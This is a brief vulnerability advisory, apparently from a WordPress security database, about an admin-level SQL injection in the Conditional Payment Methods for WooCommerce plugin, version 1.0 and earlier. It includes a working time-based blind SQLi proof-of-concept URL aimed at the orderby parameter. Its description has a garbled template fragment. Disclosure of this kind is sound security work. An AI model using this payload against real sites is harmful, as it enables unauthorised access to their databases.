Conditional Payment Methods for WooCommerce <= 1.0 - Admin+ SQLi

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by [high privilege users such as admin|users with a role as low as admin.

PoC

https://example.com/wp-admin/admin.php?page=wcpma-payment-settings&amp;action;=wcpma_view_list&amp;orderby;=1+AND+(SELECT+7394+FROM+(SELECT(SLEEP(5)))UrUZ)